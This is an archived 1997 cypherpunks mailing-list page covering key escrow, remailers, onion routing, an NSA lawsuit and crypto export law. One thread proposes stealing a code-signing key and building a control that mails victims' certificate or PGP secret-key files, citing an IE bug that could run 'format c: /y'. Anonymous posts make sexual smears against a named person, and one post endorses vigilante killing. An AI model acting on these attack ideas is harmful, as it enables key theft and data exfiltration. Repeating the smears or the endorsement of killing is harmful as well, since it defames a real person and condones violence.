http://bureau42.base.org/public/xenix/xenbody.html






From aba at dcs.ex.ac.uk  Mon Mar  3 00:59:35 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 3 Mar 1997 00:59:35 -0800 (PST)
Subject: sikrit mandatory GAK plans (was Re: Guardian on EU-FBI Wiretap Pact)
In-Reply-To: <1.5.4.32.19970228200633.00719d10@pop.pipeline.com>
Message-ID: <199703030855.IAA00133@server.test.net>



John Young <jya at pipeline.com> posts an article from UK Gaurdian newspaper:

> The Guardian Weekly, Volume 156, Issue 9
> Week ending March 2, 1997, Page 4:
> 
> UK to join FBI phone taps
> 
> Richard Norton-Taylor and Alison Daniels
> 
> BRITAIN has secretly agreed with its European Union partners to set up
> an international telecommunications tapping system in co-operation
> with the FBI, it was revealed on Monday.
> 
> The agreement covers telephones and written communications -- telexes,
> faxes and e-mail. To make tapping easier, telecommunications companies
> will be obliged to give security and intelligence agencies the key to
> codes installed in equipment sold to private customers.

Sounds like this will cover any communications software or hardware
commercially available.  Looks like mandatory GAK.  It is interesting
that they should target commercial suppliers, rather than users.

Also interesting that they should feel unsure enough about public
opinion to plan it all in secret.

To those who said the US 1st ammendment would prevent this happening
in the US: looks like you were wrong.  Has there been any
corresponding US press on the FBI side of the sikrit GAK plans?

> Detailed plans are being drawn up by officials in a secret network of
> EU committees established under the "third pillar" of the Maastricht
> Treaty, covering co-operation on law and order issues.

Blech.  These people have _no_ respect for democracy, it's all secret
cloak and dagger stuff.  Is that anyway for laws to be decided in
supposedly democratic countries?  Does the public have no right to
affect the introduction of new laws?  I suppose the spooks know better
what's good for us than we do?

> Civil liberties groups, while agreeing that there was a need for such
> an agreement to fight against serious crime, 

Erm which `civil liberties group' agreed that there was a need for
mandatory GAK?

> said the plans raised a number of privacy and data protection issues
> and must be the subject of a full public debate.

To damn right privacy issues are raised, and that the subject should
be open for public debate.

> Britain is an enthusiastic supporter of joint action in this area,
> which is conducted on an inter-governmental basis with no role for the
> European Commission, the European Parliament or the European Court of
> Justice. It is an area where the EU's "democratic deficit" is most
> evident.
> 
> Key points of the plan are outlined in a memorandum of understanding
> signed by EU states in 1995, which is still classified.

Un-fucking-believeable!  Classified documents determining the
_publics_ future right to freedom of speech.  You don't even get to
see the document let alone discuss it.  Signed way back in 1995.

> It reflects increasing concern among European intelligence agencies
> that modern technology will prevent them from tapping private
> communications.  EU governments agreed to co-operate closely with
> the FBI in Washington as they work out detailed plans.

How about someone in the US puts in a FOIA for the FBI half of this?
(At least you guys have a FOIA).

Adam
-- 
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From simek at econ.econ.umb.sk  Mon Mar  3 01:07:03 1997
From: simek at econ.econ.umb.sk (Bohus Simek)
Date: Mon, 3 Mar 1997 01:07:03 -0800 (PST)
Subject: No Subject
Message-ID: <Pine.SUN.3.90.970303101151.4083A-100000@econ>








From lucifer at dhp.com  Mon Mar  3 05:53:29 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 3 Mar 1997 05:53:29 -0800 (PST)
Subject: Blowfish
Message-ID: <199703031353.IAA07986@dhp.com>


Tim C[retin] May prefers to have sex with little kids because his 
own penis is like that of a three-year-old.

 _  o
|<)_/# Tim C[retin] May
TT  <T






From raph at CS.Berkeley.EDU  Mon Mar  3 06:50:18 1997
From: raph at CS.Berkeley.EDU (Raph Levien)
Date: Mon, 3 Mar 1997 06:50:18 -0800 (PST)
Subject: List of reliable remailers
Message-ID: <199703031450.GAA06460@kiwi.cs.berkeley.edu>


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list at kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys at kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list at kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail at miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster at remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer at replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer at remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack at holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer at dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer at cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock at rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config at nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer at huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix at squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman at jpunix.com> cpunk mix pgp hash latent cut ek reord ?";
$remailer{'cyber'} = '<alias at alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman at athensnet.com> cpunk pgp hash latent cut ek mix reord middle ?";
$remailer{'weasel'} = '<config at weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman at cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer at wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer at lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer at hidden.net> cpunk pgp hash latent cut";
catalyst at netcom.com is _not_ a remailer.
lmccarth at ducie.cs.umass.edu is _not_ a remailer.
usura at replay.com is _not_ a remailer.
remailer at crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 3 Mar 97 6:45:58 PST
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
weasel   config at weasel.owl.de             -++++++++-++  1:22:34  99.99%
hidden   remailer at hidden.net                    *++.-#  5:22:40  99.98%
balls    remailer at huge.cajones.com        ###--*.###-#  2:44:25  99.98%
nym      config at nym.alias.net             +*#*#+**+-++    16:11  99.98%
exon     remailer at remailer.nl.com         *+#*#+#++#*#     2:24  99.95%
winsock  winsock at rigel.cyberpass.net      ------------  5:40:48  99.94%
cyber    alias at alias.cyberpass.net        -+ *++*+ ***    28:51  99.63%
extropia remail at miron.vip.best.com        __.._--__.-+ 22:39:55  99.55%
replay   remailer at replay.com              --**++**+***    15:52  99.41%
dustbin  dustman at athensnet.com            ---+---._.    3:25:41  99.03%
middle   middleman at jpunix.com             - -- -_*---   2:17:36  98.95%
lucifer  lucifer at dhp.com                  -++++++  +++    44:00  98.82%
reno     middleman at cyberpass.net           .- +-  -. -  1:12:29  96.16%
jam      remailer at cypherpunks.ca          ** ***  +*      53:49  94.54%
shaman   remailer at lycaeum.org                 *+++++ +    24:17  91.73%
haystack haystack at holy.cow.net              ##-+*+ ##      9:05  91.47%
mix      mixmaster at remail.obscura.com         . _      91:28:31  89.63%
squirrel mix at squirrel.owl.de              -+++            59:37  21.19%
wazoo    remailer at wazoo.com                               37:27  -5.74%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From jya at pipeline.com  Mon Mar  3 11:45:07 1997
From: jya at pipeline.com (John Young)
Date: Mon, 3 Mar 1997 11:45:07 -0800 (PST)
Subject: Military Snooping
Message-ID: <1.5.4.32.19970303193819.00700ac8@pop.pipeline.com>


Lucky Green posted the message below elsewhere which 
raises provocative questions about military snooping on 
the Net to combat anonymizers and remailers:

[Forward]

At the FC'97 rump session, Paul Syverson from NRL presented 
a paper titled "Onion Routing". The description of the system 
sounds very much like Wei Dai's PipeNet. However, the 
development team seems to be unaware of PipeNet
and the discussions about it that we had in the past.

NLR has currently five machines implementing the protocol. 
Connection setup time is claimed to be 500 ms. They are looking 
for volunteers to run "Onion Routers". It appears the US military 
wants to access websites without giving away the fact that they 
are accessing the sites and is looking to us to provide the cover 
traffic. What a fortunate situation.

They said that the source would soon be on the web page, but so 
far it has not appeared.

http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/

[End forward]

For those who don't want NRL snooping on their accesses, we've 
put three of the Onion-Routing papers at:

   http://jya.com/onion.htm

   http://jya.com/privnet.htm

   http://jya.com/hri.htm  (a conversion from PDF)







From cynthb at sonetis.com  Mon Mar  3 14:13:39 1997
From: cynthb at sonetis.com (Cynthia H. Brown)
Date: Mon, 3 Mar 1997 14:13:39 -0800 (PST)
Subject: DES Challenge / Who'da Thunk It?
In-Reply-To: <199703031434.JAA25007@www.video-collage.com>
Message-ID: <Pine.BSD/.3.91.970303165642.14171A-100000@mrburns.iosphere.net>


On Mon, 3 Mar 1997, Sean Roach wrote:

> At 02:36 PM 3/3/97 +0100, James Morris wrote:
> ...
> >Actually, there's a theory that the secret recipies for Coke, Pepsi and
> >Kentucky Fried Chicken are part of a biological chinese lottery, where
> >the results are collected via satellite-based spectrometry of atmospheric
> >methane radicals.  Note that children who are too young for these foods 
> >will quite happily eat Crayola.
> >
> >More than this I cannot say.
> 
> You might be interested to know that Pepsi owns Kentucky Fried Chicken.
> Take a look at the supply trucks some time, Taco Bell, Hot & Now (whatever
> that is), Kentucky Fried Chicken, and Pizza Hut are all Pepsico subsidaries.
> I'd say that the chips are weighted heavily on one side.  Hope you know
> which numbers to bet on.

I'd lay my $ on the suppliers of red dye #3, yellow dye #7, etc., and get 
Pepsi, Coke and Crayola fanciers all at once.

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb at iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From jya at pipeline.com  Mon Mar  3 16:37:19 1997
From: jya at pipeline.com (John Young)
Date: Mon, 3 Mar 1997 16:37:19 -0800 (PST)
Subject: NSA Sued by Cryptographer
Message-ID: <1.5.4.32.19970304003033.006ac3a8@pop.pipeline.com>


We've received from Anonymous a copy of a February 28, 
1997, complaint against NSA by an ex-Sandia cryptographer:

   http://jya.com/nsasuit.txt  (41K)

The cryptographer, William Payne, was:

   project leader for the Missile Secure Cryptographic Unit 
   [MSCU] at Sandia between about 1982 and 1986.  The 
   MSCU was funded by NSA.  Payne designed and built 
   the hardware/software data authenticator for the US/USSR 
   Comprehensive Test Ban Treaty for Sandia between 
   1986 and 1992. Payne held SECRET clearance when 
   Payne worked for the Navy, DOE Q clearance, crypto and 
   SCI access while at Sandia.

The document says that Payne was a source for the Baltimore 
Sun story on NSA's "spiking" deal with CryptoAG*, and other 
stories, after he was fired in 1992 for attacking the quality of 
NSA's cryptography.

It includes descriptions of agreements between Sandia and 
NSA, algorithms, critiques and procedures. A sample:

   Payne revealed to the public the value 31. "The algorithm 
   required stepping two of its internal registers at a rate many 
   times the data rate."  

   NSA believes that 31 is classified.  Payne believes that this is 
   classification abuse.

   Therefore, Payne issued a FOIA to NSA crypto-mathematician Brian 
   Snow also on June 10, 1996.

     	I found no evidence that NSA possesses any special 
	crypto skills, and apparently hides its deficiencies 
	behind the veil of classification abuse.  

     	To the contrary, I discovered generic deficient 	
	crypto work. 

     	We brought this to the attention of NSA.  Sandia even      
	offered to help NSA fix its deficient crypto work.  
	And NSA attempted to correct its deficient crypto 	
	work.

     	Therefore, under 5 USC 522b I request access all 	
	technical documentation on, 

     	1    Benincasa's original NSS/USO algorithm,
     	2    Benincasa's revision of 1,
     	3    The Unkenholtz - Judy GRANITE algorithm,
     	4    Your MSCU algorithm,
     	5    the clipper algorithm,
     	6    the STU III algorithms.       

     	I feel that published analyses of the above 6 	
	algorithms will show the Clinton administration, 	
	congress, and the public that NSA possess no superior 
	knowledge of crypto matters. 

   Payne received no response from NSA.

----------

* "Cryptographic units were 'spiked' so that the crypto key was 
transmitted ['covert channel'] with the cipher text."

For more on the CryptoAG story see:

   http://jya.com/cryptoa2.htm






From nobody at REPLAY.COM  Mon Mar  3 16:52:32 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 3 Mar 1997 16:52:32 -0800 (PST)
Subject: 2-way anonymous ecash ?
Message-ID: <199703040052.BAA06479@basement.replay.com>


  From: Peter Foldiak <Peter.Foldiak at st-andrews.ac.uk>
  Newsgroups: sci.crypt

On
http://www.digicash.com/ecash/aboutcrime.html
Digicash says:

"... ecash is not at all well suited for black markets, extortion,
bribes and tax evasion. The reason is that only the payer is anonymous,
the recipient of the money has no anonymity at all.
Furthermore, all money that the payee receives must be given to the
bank. It is not possible to hide from the bank the fact that you
received money (and thereby hide it from the authorities). So
tax-evasion is definitely out. For people who operate black markets
the same story holds. First of all, their income is visible. The second
reason is far better: if any of the customers ever wants to,
he can prove that a certain payment was made by him. This means that
a criminal accepting ecash
can be identified with the retroactive help one of his customers. ..."

Is this really true under all circumstances? Can (some kind of) e-cash
be made truly two-way anonymous, like physical cash?





From nobody at REPLAY.COM  Mon Mar  3 22:50:35 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Mon, 3 Mar 1997 22:50:35 -0800 (PST)
Subject: Presidential decrees and emergency powers
In-Reply-To: <85708065028816@cs26.cs.auckland.ac.nz>
Message-ID: <199703040650.HAA15022@basement.replay.com>


http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm#POSTSCRIPT

Although slightly dated (it's before the latest regs), it hits some of the
main points.


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     |
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From LEHMANNJ at saatchi.com.au  Tue Mar  4 00:35:16 1997
From: LEHMANNJ at saatchi.com.au (John Lehmann (SSASyd))
Date: Tue, 4 Mar 1997 00:35:16 -0800 (PST)
Subject: It is time to break Authenticode
Message-ID: <331BEF9B@smtp.saatchi.com.au>



> Microsoft's recent arrogant and irresponsible reply to the Chaos
> Computer Club hack on ActiveX requires response. An effective response
> would be to steal the key of a major code signer and produce a signed,
> malicious ActiveX control. Such an attack would demonstrate the
> serious problems of Microsoft's security philosophy.
>
> ...
>
> The best avenue of attack is stealing the secret key of a respected
> code signer. The target should be one of the major players, if not
> Microsoft itself. Someone is sloppy to store their secret key on a

It really should be Microsoft, for good exposure.

> getting signatures right is well understood. Still, does anyone have
> information on exactly how the signatures work?

http://www.microsoft.com/kb/articles/q159/8/93.htm

>
> Stealing the key itself will almost certainly be an illegal act.
> Morally, the demonstration signed control should itself not do damage.
> Something like the Exploder control (which warns the user before
> shutting down the machine) should be good enough to show the flaws of
> ActiveX without causing trouble.

The most interesting abuse the ActiveX thet I've heard of was a company   
that released an ActiveX control that modified the security manager used   
to verify and pass ActiveX controls, essentially registerring their   
company as a trusted provider.  Thus once this one control was accepted,   
all other controls signed by that company were automatically accepted by   
the browser.

The company quickly retracted the control and claimed that the   
authentication abuse was a feature put in while the control was in   
beta-cycle and accidently left in when it was finally released.  Oops!   
(This was reported on the www-security mailing list, but I have lost the   
ref)

Perhaps an interesting "nudie screensaver" control could be made to mail   
any Root.cer Cert.cer and Cert.spc (I guess) files lying around on the   
target computer to a well known mailing-list...

One wonders whether it would even be illegal. *sigh* I suppose it would   
be.

 --
JJL





From jya at pipeline.com  Tue Mar  4 06:53:37 1997
From: jya at pipeline.com (John Young)
Date: Tue, 4 Mar 1997 06:53:37 -0800 (PST)
Subject: NSA Sued by Cryptographer
Message-ID: <1.5.4.32.19970304144644.006ae054@pop.pipeline.com>


I spoke this morning with cryptographer William H. Payne in NM 
(505-292-7037), who confirmed that the NSA suit is authentic. 

He spoke freely about it and said he was pleased that it was 
being publicized. There's more to tell, he says, and is
doing so through several pipelines.

Says NSA is crimping him financially in retribution, so he may
go offshore to make a living fighting their shitty crypto shenanigans.

-----

To see the suit:

   http://jya.com/nsasuit.txt







From nobody at REPLAY.COM  Tue Mar  4 08:04:16 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 4 Mar 1997 08:04:16 -0800 (PST)
Subject: Presidential decrees and emergency powers
In-Reply-To: <199703040650.HAA15022@basement.replay.com>
Message-ID: <199703041604.RAA06912@basement.replay.com>


Something got lost there, let's try again...



On Tue, 4 Mar 1997, Anonymous wrote:

http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm#POSTSCRIPT

Oh, the things we do to avoid spammers...

> Although slightly dated (it's before the latest regs), it hits some of the
> main points.
> 

> 
> A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
> Associate Professor of Law |
> U. Miami School of Law     |
> P.O. Box 248087            | http://www.law.miami.edu/~froomkin
> Coral Gables, FL 33124 USA | It's warm here. 
> 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin at law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From jya at pipeline.com  Tue Mar  4 12:17:37 1997
From: jya at pipeline.com (John Young)
Date: Tue, 4 Mar 1997 12:17:37 -0800 (PST)
Subject: More on NSA Suit
Message-ID: <1.5.4.32.19970304201045.00702f74@pop.pipeline.com>


We've received another doc by cryptographer William H. Payne 
that preceded his NSA suit, sent to the Director of NSA, which 
claims to contain classified information on NSA crypto algorithms:

   http://jya.com/nsasuit2.txt

It amplifies information in the suit, and includes provocative material 
that was suit-and-tied for court.

There's governmental information via Altavista about Mr. Payne's 
parallel dispute with DOE.







From cynthb at sonetis.com  Tue Mar  4 12:40:49 1997
From: cynthb at sonetis.com (Cynthia H. Brown)
Date: Tue, 4 Mar 1997 12:40:49 -0800 (PST)
Subject: It is time to break Authenticode
In-Reply-To: <331BEF9B@smtp.saatchi.com.au>
Message-ID: <Pine.BSD/.3.91.970304150102.18186A-100000@mrburns.iosphere.net>


On Tue, 4 Mar 1997, John Lehmann (SSASyd) wrote:

[ ActiveX discussion snipped ]

> Perhaps an interesting "nudie screensaver" control could be made to mail   
> any Root.cer Cert.cer and Cert.spc (I guess) files lying around on the   
> target computer to a well known mailing-list...
> 
> One wonders whether it would even be illegal. *sigh* I suppose it would   
> be.

This may be feasible without resorting to ActiveX.  Microsoft IE 3.0 has a
nifty security bug that allows a malicious WWW page to run arbitrary
programs (e.g. "format c: /y").  Details (and a demo that starts the
Windows calculator locally) are at

  http://www.cybersnot.com/iebug.html

There are "uploader" programs for WWW servers; one of these should be
modifiable to look for %PGPPATH%/secring.pgp without prompting... 

The great (?) thing about this bug is that, since there is no confirmation
and the rogue programs don't use ActiveX or Java, you can't prevent a site
from trashing your PC.  (Except by trashing your copy of IE.)

Microsoft will have a fix out Real Soon Now, of course...

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb at iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.






From nobody at REPLAY.COM  Tue Mar  4 12:55:06 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Tue, 4 Mar 1997 12:55:06 -0800 (PST)
Subject: Forgery detection
Message-ID: <199703042048.VAA28825@basement.replay.com>


Timothy C[retin] May is another loser who pays for got.net 
because he lacks the mental capacity to gain net access as 
a perk of either employment or academic achievment.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- Timothy C[retin] May






From dlv at bwalk.dm.com  Tue Mar  4 13:25:01 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Mar 1997 13:25:01 -0800 (PST)
Subject: toad
In-Reply-To: <Pine.HPP.3.91.970304131108.18709A-100000@cor.sos.sll.se>
Message-ID: <59723D2w165w@bwalk.dm.com>


Asgaard <asgaard at cor.sos.sll.se> writes:

> Why is cypherpunks at toad.com still appearing in headers
> and even on the From: line on many messages?
> Wasn't toad supposed to have shut down the cp list
> at Feb 20?
> 
> Asgaard
> 

John Gilmore lied.

So, what else is now?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Tue Mar  4 18:30:19 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 4 Mar 1997 18:30:19 -0800 (PST)
Subject: PR
In-Reply-To: <331C98F0.2318@sk.sympatico.ca>
Message-ID: <aDk33D126w165w@bwalk.dm.com>


Toto <toto at sk.sympatico.ca> writes:
>   So apparently, from this cop's point of view, my desire to save money
> on computer peripherals is 'nasty' business, and I have to expect to
> duck flying bullets so that he can attempt to administer the death
> penalty to some kid stealing a car radio.

The only person with any business administering the death penalty to the
kid stealing a car radio is the car owner.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dthorn at gte.net  Tue Mar  4 19:26:57 1997
From: dthorn at gte.net (Dale Thorn)
Date: Tue, 4 Mar 1997 19:26:57 -0800 (PST)
Subject: toad
In-Reply-To: <59723D2w165w@bwalk.dm.com>
Message-ID: <331CE7C4.72AB@gte.net>


Dr.Dimitri Vulis KOTM wrote:
> Asgaard <asgaard at cor.sos.sll.se> writes:
> > Why is cypherpunks at toad.com still appearing in headers and even
> > on the From: line on many messages?  Wasn't toad supposed to have
> > shut down the cp list at Feb 20?

> John Gilmore lied.
> So, what else is now?

Well, it's sure convenient to have those messages pass thru Gilmore's
computer on the way to Igor or whomever, just in case Gilmore needs
some fodder for one of his public forums/interviews/disinfo campaigns.
Or in case he wanted to diddle with some of them, **not saying** that
we would do such a thing, of course.  He's never done that before,
has he?






From jc at ender.morefreestuff.com  Tue Mar  4 21:01:52 1997
From: jc at ender.morefreestuff.com (JC)
Date: Tue, 4 Mar 1997 21:01:52 -0800 (PST)
Subject: Free Stuff!!
Message-ID: <199703042104.NAA24812@ender.morefreestuff.com>


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From jolson3 at netbox.com  Wed Mar  5 03:24:26 1997
From: jolson3 at netbox.com (JOlson)
Date: Wed, 5 Mar 1997 03:24:26 -0800 (PST)
Subject: File Systems
Message-ID: <199703051124.DAA25832@netbox.com>


Are there any commercial/shareware/freeware versions of cryptographic file systems for any Windows environment?






From jya at pipeline.com  Wed Mar  5 04:42:41 1997
From: jya at pipeline.com (John Young)
Date: Wed, 5 Mar 1997 04:42:41 -0800 (PST)
Subject: HOT_sum
Message-ID: <1.5.4.32.19970305123540.006b2b38@pop.pipeline.com>


3-03-97:

"Congress Vs. President On Encryption"

 Last week a bill was reintroduced in the Senate to ease restrictions 
 on the export of encryption technology. But the Clinton administration 
 is preparing to back new legislation proposing additional controls over 
 encryption software, according to sources familiar with the plans.
 The White House is preparing to back legislation that will deal with the
  liability issues surrounding trusted third parties. That legislation may 
 seek to  regulate the entities that will preside over digital signature and
 digital certificate authentication.

 "It's going to be a long, hot summer," Bidzos said.

----------

HOT_sum

Return blank message with this key as subject for full article.






From gbroiles-nospam at netbox.com  Wed Mar  5 05:51:21 1997
From: gbroiles-nospam at netbox.com (Greg Broiles)
Date: Wed, 5 Mar 1997 05:51:21 -0800 (PST)
Subject: Microsoft Authenticode key security
Message-ID: <331e62b2.3884779@library.airnews.net>



Recent discussion on the cypherpunks list(s) talked about the
feasibility of subverting Microsoft's security model by stealing their
private key(s). The following snippet (originally sent to RISKS
digest) might be of interest:

>Date: Mon, 3 Mar 1997 19:23:15 -0800
>From: "Bob Atkinson (Exchange)" <bobatk at EXCHANGE.MICROSOFT.com>
>Subject: Comments and corrections regarding Authenticode
>
>As the architect and primary implementor of the Authenticode code-signing
>technology (boy, that'll get me mail :-) found in Internet Explorer 3 and in
>Windows NT 4, I think my perhaps somewhat lengthy and clearly very biased
>perspective on some recent articles might be of interest to others.
>Bob Atkinson
>[...]
>For those curious: at the present time, the private keys with which
>Microsoft signs code that it publishes are managed inside BBN SafeKeyper
>boxes housed in a guarded steel and concrete bunker. Even were a SafeKeyper
>to somehow be physically stolen, these cool little boxes have several
>elaborate internal defenses designed to have the box destroy itself rather
>than compromise its keys. As I understand things, a military variation on
>the SafeKeyper technology is used as an integral part of launch control of
>nuclear missiles on submarines in the US Navy.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From gbroiles at netbox.com  Wed Mar  5 06:38:27 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Wed, 5 Mar 1997 06:38:27 -0800 (PST)
Subject: The Pro-CODE Bill could make things worse!
In-Reply-To: <199703030817.AAA24224@you.got.net>
Message-ID: <3.0.1.32.19970305064441.00d70e08@mail.io.com>


At 12:36 AM 3/3/97 -0800, Tim May wrote:
>(These items may not be banned for general export, given the language about
>an "identfied individual or organization," but think of the new mischief
>this will cause. For example, if remailers are used to evade taxes by some
>individuals connecting to some sites, then exporters (like Eric Hughes,
>Lance Cottrell, whomever is writing remailers these days) may have to jump
>through large numbers of hoops to ensure that some specific site does not
>get the software...this will effectively make export of remailers
>impossible to legally do...as I read the language of the Bill.)

I don't think that Pro-CODE can be used to control the dissemination of
remailers. The bit of Pro-CODE at issue here (section 5(c)(3)(B) "The
Secretary shall prohibit the export or reexport of particular computer
software and hardware *described in this subsection* to an identified
individual or organization . . if the Secretary determines that there is
substantial evidence that such software and computer hardware will be . .
(iv) intentionally used to evade enforcement of US law or taxation by the
US or by any State or local government." (emphasis added)

I read "described in this subsection" to refer to Section 5(c), and the
best description I can find in 5(c) of computer hardware and software is
"computer hardware, computer software, and technology with encryption
capabilities, except computer hardware, computer software, and technology
that is specifically designed or modified for military use, including
command, control, and intelligence applications", in section 5(c)(1).

So I don't think that this creates a new ability to control the
dissemination of non-crypto hardware or software. (The Mixmaster remailer
software, which does include crypto, would still be controlled.) 

The prohibitions on export to named individuals and organizations will be
effectively useless with respect to those parties getting strong crypto -
the only utility I can see in such a clause is to be used as a club against
domestic sympathizers/allies of unpopular groups/people abroad. It also
seems likely to lead to yet another round of worrying about whether the
format of a particular distribution site on the Internet is sufficiently
configured - if ProCODE passes, instead of asking "Are you a US citizen?",
distribution sites will ask "Are you on the list of forbidden people?" Same
difference. 

>And the other language--about how companies have to advise the government
>about what they are doing, and the "review board"--are possibly ominous.

Indeed. The "Findings/Purpose" text (Section 2), includes the following:

"(16) The Federal Government has legitimate law enforcement and national
security objectives which necessitate the disclosure to the Federal
Government of general information that is neither proprietary nor
confidential by experts in information security industries, including
cryptographers, engineers, and others designated in the design and
development of information security products. *By relaxing export controls
on encryption products and programs, this Act creates an obligation on the
part of representatives of companies involved in the export of information
security products to share information about these products to designated
representatives of the Federal Government.*" (emphasis added)

and Section 5(c)(4)(A) reads:

"Exports. The publisher or manufacturer of computer software or hardware
with encryption capabilities shall disclose (for reporting purposes only)
within 30 days after export to the Secretary such information regarding a
program's or product's encryption capabilities as would be required for an
individual license to export that program or product." 

The former has no real force, as "findings" aren't enforceable, but are
intended for use by courts who are interpreting or construing a statute.
But I don't see a technical reason why the latter wouldn't be enforceable.
(Modulo the First Amendment, of course.) 

Another feature of Pro-CODE that I haven't seen discussed is that it
restricts the *private* dissemination of code - e.g., a US programmer may
make his/her code globally available (if it is "generally available, as is,
and designed for installation by the user or purchaser", section
5(c)(2)(a)(i)), but a US programmer may not (assuming the current
regulations, or similar regs, are in force) share code privately (say,
pre-release) with foreign programmers. My hunch is that the drafters didn't
intend this consequence, but I think it's a logical conclusion given that
(a) Pro-CODE doesn't define "export", (b) current regulations define
